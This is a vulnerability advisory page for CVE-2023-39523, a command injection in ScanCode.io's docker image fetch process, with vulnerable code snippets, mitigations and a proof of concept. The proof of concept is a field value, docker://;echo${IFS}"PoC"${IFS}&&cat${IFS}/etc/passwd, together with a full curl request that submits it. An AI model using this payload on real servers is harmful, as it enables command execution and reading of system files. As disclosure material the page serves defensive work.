Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2023-39523: Command injection in docker image fetch process

ScanCode.io is a server to script and automate software composition analysis with ScanPipe pipelines. Prior to version 32.5.1, the software has a possible command injection vulnerability in the docker fetch process as it allows to append malicious commands in the docker_reference parameter.

In the function scanpipe/pipes/fetch.py:fetch_docker_image the parameter docker_reference is user controllable. The docker_reference variable is then passed to the vulnerable function get_docker_image_platform. However, the get_docker_image_plaform function constructs a shell command with the passed docker_reference. The pipes.run_command then executes the shell command without any prior sanitization, making the function vulnerable to command injections. A malicious user who is able to create or add inputs to a project can inject commands. Although the command injections are blind and the user will not receive direct feedback without logs, it is still possible to cause damage to the server/container. The vulnerability appears for example if a malicious user adds a semicolon after the input of docker://;, it would allow appending malicious commands.

Version 32.5.1 contains a patch for this issue. The docker_reference input should be sanitized to avoid command injections and, as a workaround, one may avoid creating commands with user controlled input directly.

CVE
#csrf#vulnerability#web#ubuntu#linux#git#docker#firefox

Summary

A possible command injection in the docker fetch process as it allows to append malicious commands in the docker_reference parameter.

Details

In the function scanpipe/pipes/fetch.py:fetch_docker_image[1] the parameter docker_reference is user controllable. The docker_reference variable is then passed to the vulnerable function get_docker_image_platform.

def fetch_docker_image(docker_reference, to=None): “"” code snipped … “"” platform_args = [] platform = get_docker_image_platform(docker_reference) # User controlled `docker_reference` passed “"” code snipped… “"”

However, the get_docker_image_plaform function constructs a shell command with the passed docker_reference. The pipes.run_command then executes the shell command without any prior sanitization, making the function vulnerable to command injections.

def get_docker_image_platform(docker_reference): “"” Return a platform mapping of a docker reference. If there are more than one, return the first one by default. “"” skopeo_executable = _get_skopeo_location() “"” Constructing a shell command with user controlled variable `docker_reference` “"” cmd = ( f"{skopeo_executable} inspect --insecure-policy --raw --no-creds " f"{docker_reference}" )

logger.info(f"Fetching image os/arch data: {cmd}")
exitcode, output \= pipes.run\_command(cmd) \# Executing command
logger.info(output)
if exitcode != 0:
    raise FetchDockerImageError(output)

A malicious user who is able to create or add inputs to a project can inject commands. Although the command injections are blind and the user will not receive direct feedback without logs, it is still possible to cause damage to the server/container. The vulnerability appears for example if a malicious user adds a semicolon after the input of docker://;, it would allow appending malicious commands.

PoC

  1. Create a new project with following input docker://;echo${IFS}"PoC"${IFS}&&cat${IFS}/etc/passwd in the filed Download URLs

  2. Check docker logs to see the command execution

curl -i -s -k -X $’POST’ \ -H $’Host: localhost’ -H $’User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0’ -H $’Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8’ -H $’Accept-Language: en-US,en;q=0.5’ -H $’Accept-Encoding: gzip, deflate’ -H $’Content-Type: multipart/form-data; boundary=---------------------------2742275543734015476190112060’ -H $’Content-Length: 923’ -H $’Origin: http://localhost’ -H $’DNT: 1’ -H $’Connection: close’ -H $’Referer: http://localhost/project/add/’ -H $’Upgrade-Insecure-Requests: 1’ -H $’Sec-Fetch-Dest: document’ -H $’Sec-Fetch-Mode: navigate’ -H $’Sec-Fetch-Site: same-origin’ -H $’Sec-Fetch-User: ?1’ \ -b $’csrftoken=7H2chgA7jPHnXK0NNPftIoCW9z8SabKR’ \ –data-binary $’-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"csrfmiddlewaretoken\"\x0d\x0a\x0d\x0ayslGuNnvWloFUEUCWI5VlMuZ60ZDDSkFvZdIBTNs50VSHeKfznaeT0WL5pXlDTUm\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"name\"\x0d\x0a\x0d\x0apoc\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_files\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_urls\"\x0d\x0a\x0d\x0adocker://;echo${IFS}\"PoC\"${IFS}&&cat${IFS}/etc/passwd\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"pipeline\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"execute_now\"\x0d\x0a\x0d\x0aon\x0d\x0a-----------------------------2742275543734015476190112060–\x0d\x0a’ \ $’http://localhost/project/add/’

Mitigations
The docker_reference input should be sanitized to avoid command injections and it is not recommend to create commands with user controlled input directly.

Tested on:

  • Commit: Latest commit [bda3a70]
  • OS: Ubuntu Linux Kernel 5.19.0

References
[1] https://github.com/nexB/scancode.io/blob/main/scanpipe/pipes/fetch.py#L185

Related news

GHSA-2ggp-cmvm-f62f: ScanCode.io command injection in docker image fetch process

## Command Injection in docker fetch process ### Summary A possible command injection in the docker fetch process as it allows to append malicious commands in the docker_reference parameter. ### Details In the function `scanpipe/pipes/fetch.py:fetch_docker_image`[1] the parameter `docker_reference` is user controllable. The `docker_reference` variable is then passed to the vulnerable function `get_docker_image_platform`. ```python def fetch_docker_image(docker_reference, to=None): """ code snipped .... """ platform_args = [] platform = get_docker_image_platform(docker_reference) # User controlled `docker_reference` passed """ code snipped... """ ``` However, the `get_docker_image_plaform` function constructs a shell command with the passed `docker_reference`. The `pipes.run_command` then executes the shell command without any prior sanitization, making the function vulnerable to command injections. ```python def get_docker_image_platform(docker_refer...

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907